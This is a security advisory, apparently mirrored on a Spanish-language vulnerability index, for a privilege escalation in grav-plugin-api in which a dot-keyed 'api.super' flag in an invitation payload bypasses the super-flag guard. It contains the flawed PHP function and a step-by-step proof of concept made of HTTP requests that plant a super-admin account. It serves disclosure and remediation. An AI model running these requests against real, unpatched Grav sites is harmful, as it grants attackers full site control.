GHSA-M363-3HWW-GCWC
Non-super user manager can mint a super-admin via a dot-keyed super flag in the invitation access payload
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-M363-3HWW-GCWC divulgada · CVSS 8.7 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`InvitationsController::stripSuperFlags()` — the guard that stops a non-super user manager from minting a super-admin through the invitation flow — only strips the nested form of the super flag (`['api' => ['super' => true]]`). Grav's permission resolver treats the dot-keyed form (`['api.super' => true]`) as fully equivalent, and that shape passes through the guard untouched.
A user manager holding `api.access` + `api.users.write` — the documented least-privilege delegation role, not a super-admin by any measure — can create an invitation whose `access` payload carries `{"api.super": true}`. Whoever accepts it through the public accept endpoint becomes a super-admin, and the accept response hands back that account's JWT immediately. No interaction with a real invitee is required.
Affected versions
grav-plugin-api 1.0.0 through 1.0.19 inclusive (introduced with the invitation feature in 1.0.0-rc.12). The vulnerable code lives entirely in the API plugin; Grav core is not affected and needs no patch.
Fixed in grav-plugin-api 1.0.20.
Details
`user/plugins/api/classes/Api/Controllers/InvitationsController.php`:
private function stripSuperFlags(array $access): array
{
foreach (['admin', 'api'] as $scope) {
if (isset($access[$scope]) && is_array($access[$scope])) {
unset($access[$scope]['super']); // nested form only
}
}
return $access; // ['api.super' => true] survives
}It is called from `create()` whenever the inviter is not super-within-scope, and the result is persisted into the invitation record and later applied verbatim to the new account in `accept()` via `$user->set('access', $record['access'])`.
Both access-tree shapes are live. `PermissionResolver::buildFlatAccess()` runs the account's access map through `Utils::arrayFlattenDotNotation()`, which collapses the nested form into exactly the literal key the dot-keyed form already is — so `resolveExact('api.super')` performs a plain `array_key_exists()` lookup that matches either shape identically, and `isSuperAdmin()` returns true for both. Nothing needs to "expand" the dot-key; it is already the resolver's canonical internal representation. `Data::save()` writes the account's items verbatim with no blueprint filtering, and the literal key survives the YAML round-trip intact.
The same equivalence holds on the classic side: core's `Grav\Common\User\Access::authorize()` also honours the dot-keyed form, so a smuggled `{"admin.super": true}` is live in `UserTrait::authorize()` as well. Only a naive `$user->get('access.admin.super')` read fails to see it.
The asymmetry is unintentional. `UsersController::accessGrantsSuper()` checks both shapes when deciding whether an access payload confers super, and its docblock says so explicitly. Five guards across the user-management surface route through it. `stripSuperFlags()` is the single place in the plugin that handles only one shape.
A contributing design factor: `UsersController::create()`/`update()` reject a super-granting payload with a 403, while the invitation path strips it. The strip design is what let an incomplete matcher fail open rather than closed.
Proof of concept
Step 0 — confirm the actor is not super:
POST /api/v1/auth/token {"username":"usermgr","password":"..."} -> access_token
GET /api/v1/me Authorization: Bearer <actor JWT>
# -> "super_admin": falseStep 1 — mint the invitation with the dot-keyed super flag:
POST /api/v1/invitations
Authorization: Bearer <actor JWT>
Content-Type: application/json
{"email": "plantedsuper@example.com", "access": {"api.super": true}}
-> 201 Created {"data": {"token": "92b6de5b59...", ...}}The same request using the nested form `{"api": {"super": true}}` is stripped as intended — the guard works, just not for this shape.
Step 2 — accept through the public endpoint, unauthenticated:
POST /api/v1/auth/invite/92b6de5b59...
Content-Type: application/json
{"username": "plantedsuper", "password": "Planted-passw0rd!", "fullname": "Planted Super"}
-> 200 {"data": {"access_token": "<planted account JWT>", ...}}Step 3 — the planted account is a super-admin:
GET /api/v1/me Authorization: Bearer <planted JWT>
# -> "super_admin": true
GET /api/v1/config/system Authorization: Bearer <planted JWT> -> 200
GET /api/v1/config/system Authorization: Bearer <actor JWT> -> 403Verified end to end, including the on-disk account file: the planted account's persisted `access` block contains the dot-keyed flag.
Impact
- A delegated user-management role — the documented least-privilege way to let non-admins onboard users — can silently escalate to super-admin: full site configuration, plugin upload (remote code execution), and control of every account.
- The escalation is one-shot and self-service. The accept endpoint is public by design and its response already carries the new super-admin session, so no second interaction with any real invitee is needed.
- It is invisible to review. The invitation list does not expose the `access` block, so an operator auditing pending invites sees an ordinary invitation from a user manager.
Patches
Fixed in grav-plugin-api 1.0.20. `stripSuperFlags()` now removes both the nested and the dot-keyed form of `admin.super` and `api.super`, matching the two-shape check `UsersController::accessGrantsSuper()` has always performed.
Operators must also review pending invitations. Invitations persist for up to seven days by default, so an invitation minted before upgrading can still carry a smuggled super flag. Upgrading alone does not neutralise records already in the store — audit or purge pending invitations as part of remediation.
Credits
Reported by @1K0CT. Thank you for the clear write-up and for identifying the exact asymmetry against `accessGrantsSuper()`.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistgetgrav/grav-plugin-api |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/getgrav/grav/security/advisories/GHSA-m363-3hww-gcwcLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
